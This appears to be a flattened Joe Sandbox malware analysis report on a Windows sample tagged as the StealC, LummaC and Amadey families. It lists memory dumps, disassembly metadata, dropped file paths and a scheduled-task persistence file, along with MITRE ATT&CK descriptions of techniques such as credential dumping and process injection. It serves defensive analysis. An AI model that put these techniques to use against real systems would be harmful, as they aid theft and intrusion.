Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 93610a5d8b5cd58a5b43ee11fa330501590dce45e25158bfa661a5bcde30c53e
Instruction ID: 312a59d10ee56256759a4c9e307e11bf1f35ea7960f57aa7141984672862975a
Opcode Fuzzy Hash: 93610a5d8b5cd58a5b43ee11fa330501590dce45e25158bfa661a5bcde30c53e
Instruction Fuzzy Hash: 66E0923AB402146BCF04F769D849D9DB77D9EC47147048116E925A3291EB70AA45CAD1

Function 009634CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 009634FC

Strings

pScheduler, xrefs: 009634F4
version, xrefs: 009634E1

Memory Dump Source

Source File: 00000009.00000002.2701886655.0000000000941000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00940000, based on PE: true

Associated: 00000009.00000002.2701845109.0000000000940000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2701886655.00000000009A2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702131308.00000000009A9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702162601.00000000009AB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702191932.00000000009B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702299503.0000000000B11000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702327020.0000000000B13000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702358184.0000000000B2B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702387708.0000000000B2C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B2F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702424928.0000000000B39000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702493282.0000000000B3D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702518157.0000000000B40000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702562685.0000000000B4C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702589289.0000000000B53000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702621193.0000000000B69000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702648222.0000000000B7B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702679637.0000000000B95000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702704985.0000000000B99000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702734086.0000000000B9A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702765393.0000000000BA1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702793171.0000000000BA9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702818043.0000000000BAB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702844254.0000000000BAC000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702869326.0000000000BB1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702896759.0000000000BBE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702920155.0000000000BC0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702947733.0000000000BC9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2702975649.0000000000BD1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703067088.0000000000BD9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703092667.0000000000BDB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703122571.0000000000BEA000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703146273.0000000000BEC000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703173362.0000000000BF7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000BFB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703197093.0000000000C1A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703255021.0000000000C2F000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703280730.0000000000C31000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703303725.0000000000C32000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703331299.0000000000C34000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703356260.0000000000C48000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703385781.0000000000C49000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703411462.0000000000C4A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703439711.0000000000C4F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703462026.0000000000C51000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000009.00000002.2703503040.0000000000C5F000.00000040.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_940000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: cbf20ebef215f6454bbbc736f1f2a50aee3817822649995a8a547f6d996764ca
Instruction ID: baab90d1b484349844f711e781e2f5c7662af628c5bbf2a3e0364a6e2de11fcd
Opcode Fuzzy Hash: cbf20ebef215f6454bbbc736f1f2a50aee3817822649995a8a547f6d996764ca
Instruction Fuzzy Hash: DBE08634540208B6CF25FA59C84BBDCB768AB94749F04C115F850110E19FB59788DA81

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report oTZfvSwHTq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\0Y9DS4ACOZHRKTJZLIK3.exe

C:\Users\user\AppData\Local\Temp\9T65EDPXZP29NZGBVWEV4Y3ZMA39OZ.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Windows\Tasks\skotes.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Windows Analysis Report
oTZfvSwHTq.exe

Function 004C735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Function 004F652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Function 004C9BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Function 004C9F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Function 004CA079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Function 004CA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Function 004CA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Function 004CA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Function 004CA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Function 004C9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Function 004CA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre